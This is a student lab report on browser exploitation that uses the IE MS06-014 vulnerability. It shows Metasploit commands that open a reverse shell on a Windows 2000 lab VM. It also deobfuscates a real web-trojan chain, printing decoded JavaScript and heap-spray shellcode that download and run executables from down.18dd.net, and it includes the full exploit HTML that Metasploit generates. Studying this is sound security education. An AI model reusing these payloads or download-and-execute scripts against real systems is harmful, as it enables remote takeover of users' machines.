当前位置: 首页 > news >正文

20253916 2025-2026-2 《网络攻防实践》实践十一报告

1.实践内容

(一)浏览器渗透攻击实验:基于MS06-014漏洞网页木马攻击

利用攻击机Kali Linux搭配Windows靶机,借助Metasploit框架,利用经典IE浏览器MS06-014漏洞制作网页木马,实现无交互远程控制靶机,完整实验操作流程如下:

  1. 启动框架并选择对应漏洞模块

  2. 配置远程连接载荷

  3. 配置攻击参数并生成恶意网页

  4. 靶机访问恶意链接

  5. 获取远程会话并控制靶机

(二)取证分析实践:网页木马攻击场景逐层解密分析

模拟真实网页木马多层嵌套加密场景,通过网页跳转、哈希文件下载、逐层解密分析恶意文件,还原完整攻击链路。

(三)攻防对抗实践:Web浏览器漏洞双向攻防演练

分组开展攻防对抗,分为攻击方、防守方两个角色,双方独立完成对应任务,完成网络钓鱼挂马攻击与溯源分析场景

2.实践过程

2.1web浏览器渗透攻击

  • 2.1.1连通性测试
    先进行靶机Win2k和攻击机kali的连通性测试。

在靶机的中使用命令:ipconfig,确认IP地址为:192.168.200.9。在kali攻击机中使用命令:ifconfig,确认IP地址为:192.168.200.4。

image

image

在靶机中使用命令:ping 192.168.200.4,发现正常连通。

image

  • 2.1.2选择渗透攻击模块
    使用命令:msfconsole,启动metasploit控制台。search MS06-014,查询此漏洞可用的攻击模块。发现唯一可用模块exploit/windows/browser/ie_createobject,对应MS06-014 IE ActiveX远程代码执行漏洞
    image

image

use exploit/windows/browser/ie_createobject,加载该模块。

image

  • 2.1.3配置攻击载荷与参数,构造恶意网页木马脚本
    show payloads,查看可用的攻击载荷。
    image

使用命令:set payload generic/shell_reverse_tcp

set RHOST 192.168.200.9,配置靶机地址为Win2k的地址,再:set LHOST 192.168.200.4设置攻击机的地址为kali的地址。
image

exploit,在192.168.200.4开启8080端口网页服务,生成恶意访问URL,

image

  • 2.1.4在靶机中,验证与服务器的连通性,并访问木马脚本URL。

在Win2k靶机的浏览器上访问: http://192.168.200.4:8080/jHiu6GIf ,发现只有一些字符串。

image

输入:sessions -i 1,打开shell会话。

输入:ipconfig,显示IP地址为:192.168.32.7,说明获得控制权。

image

2.2取证分析实践—网页木马攻击场景分析

下载本次实验需要的材料start.html,但其可能是恶意文件,所以使用记事本等纯文本工具打开它。查找文件中new09.htm的地址。

访问start.html,在这个文件中给出了new09.htm的地址。new09.htm使用的是绝对路径,所以new09.htm和start.html在同一个路径。因此可以打开new09.htm。

image

new09.htm通过隐形iframe挂载http://aa.18dd.net/aa/kl.htm恶意页面,同时引入远程恶意JS脚本http://js.users.51.la/1299644.js
分别对两个URL计算MD5值,然后在实验资料中的hashed文件夹
echo -n "http://aa.18dd.net/aa/kl.htm" | md5sum,返回:7f60672dcd6b5e90b6772545ee219bd3。

echo -n "http://js.users.51.la/1299644.js" | md5sum,返回:23180a42a2ff1192150231b44ffdf3d3。

image

先打开这个文件,发现其不是木马。

image

打开第二个文件。找到此文件的解密密钥\x73\x63\x72\x69\x70\x74,\x 代表后面两位是十六进制数,对应 ASCII 字符为script

image

image

转换为JavaScript代码字符串为

<script>
function init() {document.write();
}
window.onload = init;
if (document.cookie.indexOf('OK') == -1) {try {var e;var ado = (document.createElement("object"));ado.setAttribute("classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var as = ado.createobject("Adodb.Stream", "");} catch (e) {} finally {var expires = new Date();expires.setTime(expires.getTime() + 24 * 60 * 60 * 1000);document.cookie = 'ce=windowsxp;path=/;expires=' + expires.toGMTString();if (e != "[object Error]") {document.write("<script src=http://aa.18dd.net/aa/1.js><\/script>");} else {try {var f;var storm = new ActiveXObject("MPS.StormPlayer");} catch (f) {} finally {if (f != "[object Error]") {document.write("<script src=http://aa.18dd.net/aa/b.js><\/script>");}}try {var g;var pps = new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");} catch (g) {} finally {if (g != "[object Error]") {document.write("<script src=http://aa.18dd.net/aa/pps.js><\/script>");}}try {var h;var obj = new ActiveXObject("BaiduBar.Tool");} catch (h) {} finally {if (h != "[object Error]") {obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0);}}}}
}
</script>

根据上述代码,发现其利用了四个漏洞

http://aa.18dd.net/aa/1.js
http://aa.18dd.net/aa/b.js
http://aa.18dd.net/aa/pps.js
http://down.18dd.net/bb/bd.cab

分别对四个恶意脚本或可执行文件进行MD5加密。

恶意脚本/可执行文件 MD5加密结果
http://aa.18dd.net/aa/1.js 5d7e9058a857aa2abee820d5473c5fa4
http://aa.18dd.net/aa/b.js 3870c28cc279d457746b3796a262f166
http://aa.18dd.net/aa/pps.js 5f0b8bf0385314dbe0e5ec95e6abedc2
http://down.18dd.net/bb/bd.cab 1c1d7b3539a617517c49eee4120783b2

①打开5d7e9058a857aa2abee820d5473c5fa4文件查看内容。
image

发现其为十六进制文件,转换为字符串。

var url = "http://down.18dd.net/bb/014.exe";
try {var xml = ado.CreateObject("Microsoft.XMLHTTP", "");xml.Open("GET", url, 0);xml.Send();as.type = 1;as.open();as.write(xml.responseBody);path = "..\\ntuser.com";as.savetofile(path, 2);as.close();var shell = ado.createobject("Shell.Application", "");shell.ShellExecute("cmd.exe", "/c " + path, "", "open", 0);
} catch (e) {}

该文件调用了 http://down.18dd.net/bb/014.exe ,再用md5加密为ca4e4a1730b0f69a9b94393d9443b979

image

②打开文件3870c28cc279d457746b3796a262f166查看内容,该文件应该是使用了 packed 加密。
image

将eval改为console.log,在浏览器打开开发者工具,切换到Console,将代码粘贴进去进行解密。表明该shellcode的功能是从这个URL地址下载一个名为bf.exe的可执行文件。

var bigblock = unescape("%u9090%u9090");var headersize = 20;var shellcode = unescape("%uf3e9%u0000" +"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" +"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +"%u6946%u656c%u0041" +"%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464" +"%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000"
);var slackspace = headersize + shellcode.length;while (bigblock.length < slackspace) {bigblock += bigblock;
}var fillblock = bigblock.substring(0, slackspace);
var block = bigblock.substring(0, bigblock.length - slackspace);while (block.length + slackspace < 0x40000) {block = block + block + fillblock;
}var memory = new Array();
for (x = 0; x < 300; x++) {memory[x] = block + shellcode;
}var buffer = '';
while (buffer.length < 4068) {buffer += "\x0a\x0a\x0a\x0a";
}storm.rawParse(buffer);

image

再对http://down.18dd.net/bb/bf.exe用md5加密为268cbd59fbed235f6cf6b41b92b03f8e

image

③打开文件5f0b8bf0385314dbe0e5ec95e6abedc2,其为八进制文件,字符串转换为javascript。

var shellcode = unescape("%uf3e9%u0000") +
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000";var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize + shellcode.length;while (bigblock.length < slackspace)bigblock += bigblock;var fillblock = bigblock.substring(0, slackspace);
var block = bigblock.substring(0, bigblock.length - slackspace);while (block.length + slackspace < 0x40000)block = block + block + fillblock;var memory = new Array();
for (x = 0; x < 300; x++)memory[x] = block + shellcode;var buffer = '';
while (buffer.length < 4068)buffer += "\x0a\x0a\x0a\x0a";storm.rawParse(buffer);

进行解密得 http://down.18dd.net/bb/pps.exe ,计算其md5值ff59b3b8961f502289c1b4df8c37e2a4

image

④对于第四个恶意脚本 http://down.18dd.net/bb/bd.cab ,用MD5加密得到1c1d7b3539a617517c49eee4120783b2

打开1c1d7b3539a617517c49eee4120783b2文件,发现里面是bd.exe

image

根据上述内容找到四个可执行文件:14.exe、bf.exe、pps.exe、bd.exe。并使用命令:md5sum 14.exe bf.exe pps.exe bd.exe计算文件哈希值。
image

image

发现后三个文件的 MD5 值均为1290ecd734d68d52318ea9016dc6fe63,说明它们是同一个文件的不同副本,所以分析其中之一即可。
⑥任意选取一个文件进行分析,这里选择pps.exe。使用IDA反汇编这个文件,可以看到该程序下载了很多文件。
image

2.3 攻防对抗实践—web浏览器渗透攻击攻防

攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

①在kali虚拟机里面启动metasploit,再部署攻击载荷。构造出恶意网页木马脚本。木马网址为http://192.168.200.4:8080/LwRlHTM0Tw

sudo su
msfconsole
search ms06-014
use 0
show payloads
set payload generic/shell_reverse_tcp
set LHOST 192.168.200.4
exploit

image

image

image

image

②在靶机环境中启动浏览器,验证与服务器的连通性,访问网页木马脚本URL。并右键查看源文件。

在Win2k靶机的浏览器中访问此URL

image

③使用html压缩工具。压缩后的代码如下。

<html><head><title></title><script language="javascript">function UMCCXm(o,n){var r=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!r){try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}catch(e){}}return(r)}function ERxksbJjNBPYOAwqaDxPoTTzXzLNq(a){var s=UMCCXm(a,"WScript.Shell");var o=UMCCXm(a,"ADODB.Stream");var e=s.Environment("Process");var url=document.location+'/payload';var xml=null;var bin=e.Item("TEMP")+"\\baHcaCUvZUPUjq.exe";var dat;try{xml=new XMLHttpRequest()}catch(e){try{xml=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){xml=new ActiveXObject("MSXML2.ServerXMLHTTP")}}if(!xml){return(0)}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0)}function SNDNyLJKMNVYlMSlTsGoknjCJl(){var i=0;var t=new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E30}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-FCFDF33E833C}','{06723E09-F4C2-43c8-8358-09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCCDDF-CA28-496b-B050-6C07C962476B}','{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-000000000046}',null);while(t[i]){var a=null;if(t[i].substring(0,1)=='{'){a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))}else{try{a=new ActiveXObject(t[i])}catch(e){}}if(a){try{var b=UMCCXm(a,"WScript.Shell");if(b){ERxksbJjNBPYOAwqaDxPoTTzXzLNq(a);return(0)}}catch(e){}}i++}}</script></head><body onload='SNDNyLJKMNVYlMSlTsGoknjCJl()'>uOlpCFbceSXHxTNnti</body></html>

④查询发现html代码中的{BD96C556-65A3-11D0-983A-00C04FC29E36}代表MS06-014漏洞,实验完成!

3.学习中遇到的问题及解决

  • 问题1:在使用sessions -i 1打开会话时失败
  • 问题1解决方案:将set payload windows/meterpreter/reverse_tcp命令替换成set payload generic/shell_reverse_tcp,如下图所示,则会话不会关闭。
    image

4.实践总结

做完这周浏览器渗透相关实验,我对网页挂马钓鱼攻击有了特别直观的认知。首先我彻底弄懂了老旧浏览器漏洞的危害性,MS06-014这类漏洞不需要用户任何授权操作,仅仅访问网页就能被控,足以看出老旧系统和老旧浏览器不更新补丁带来的安全风险极大。其次我熟练掌握MD5哈希文件溯源方法,理解了攻击者常用的多层网页嵌套、代码混淆加密的隐藏手段,也学会了对应的逆向解密思路。同时在攻防对抗环节,真切体会到攻防双方的博弈:攻击方通过代码混淆隐藏攻击痕迹,防守方依靠源码分析还原攻击本质。本次实验我也发现了自身存在的不足:一开始计算MD5哈希值时,没有统一小写格式,导致文件下载失败;同时面对多层嵌套的恶意脚本,前期解密速度较慢,对代码混淆常见手法不够熟悉;后续还需要多练习恶意代码解密与分析,提升逆向分析效率。

http://www.jsqmd.com/news/1012057/

相关文章:

  • AI大模型应用开发学习线路图(超详细版)
  • MPC8313E DMA与PCI接口实战:门铃机制、链式传输与性能优化
  • 2026 上海汽车音响改装口碑标杆:深度解析魔都之声为何遥遥领先,稳居行业第一 - 汽车音响改装
  • Adobe-GenP 3.0终极指南:5分钟快速激活Adobe全家桶的完整教程 [特殊字符]
  • 上传照片要求不能超过200kb怎么处理?2026照片压缩小程序测评,含免费小程序 - 像素测评
  • DDrawCompat完整指南:如何让经典老游戏在现代Windows系统上流畅运行
  • Windows窗口调整神器:3分钟学会强制修改任意窗口尺寸
  • Shutter Encoder:免费开源的视频编码工具,让专业视频处理触手可及
  • 2026邯郸高价回收名表靠谱商家 毓典奢品汇 13103017712 回收价高靠谱可上门 - GrowthUME
  • 深入解析MPC8272通信处理器:架构、模块与应用实战
  • 5个关键步骤掌握D3KeyHelper:暗黑3智能宏工具让你的冲层更轻松
  • 2026年和平区驾校学车专业推荐商家 专注驾培十五载 安心学车选通运 —— 通运驾校(东北大学店)以专业与诚信树立沈阳驾培新典范 - GrowthUME
  • 2026深圳爱马仕香奈儿LV回收实测,逸程S级全品类回收品牌,950+鉴定师背书 - 逸程
  • 大模型微调与评估的认知陷阱:从ROUGE幻觉到PEFT外科手术
  • IEEE投稿被格式问题打回?手把手教你排查LaTeX模板里的作者信息常见坑
  • 广州中小企业法律顾问一年多少钱?报价差 10 倍,核心差距在这 4 点 - GrowthUME
  • 深入解析MPC8540 DDR内存控制器:从信号时序到ECC配置实战
  • Windows平台Node.js环境切换的终极方案:nvm-windows实战指南
  • 把「画分镜」当成写代码:用一段结构化提示词让 Image-2 一次生成 9 格脚本
  • 2026奢侈品回收手表回收名表回收|廊坊市爱彼闲置腕表回收 认准广阳区万达广场毓典寄卖行 - GrowthUME
  • GEO排名优化服务商推荐:2026年TOP5 GEO优化服务商深度评测与选购指南 - GEORANK
  • 深入解析FlexCAN中断与缓冲区管理:从寄存器到实战应用
  • 5分钟快速上手:Sunshine自托管游戏串流终极指南
  • MPC8272安全引擎AESU与加密通道实战:寄存器配置与调试指南
  • 2026年海安车灯维修到店前先看什么?裂痕位置、进水情况和灯壳状态这样问更省时间 - Ayu8888
  • 【课程设计/毕业设计】基于 SpringBoot 的人格测试网站设计与实现【附源码、数据库、万字文档】
  • Windows Cleaner:智能化系统优化工具,高效解决C盘空间不足问题
  • 终极指南:如何用HSTracker免费实现炉石传说数据驱动制胜
  • 2026Q3 苏州靠谱财税服务商一览|高口碑代账、公司注册优质机构排名 - 品牌智鉴榜
  • 2026年青岛CPPM采购经理报名费用资料试听课和班期怎么咨询?众智商学院www.zzpxedu.com、400-068-2368、冯老师18610089571入口 - 众智商学院职业教育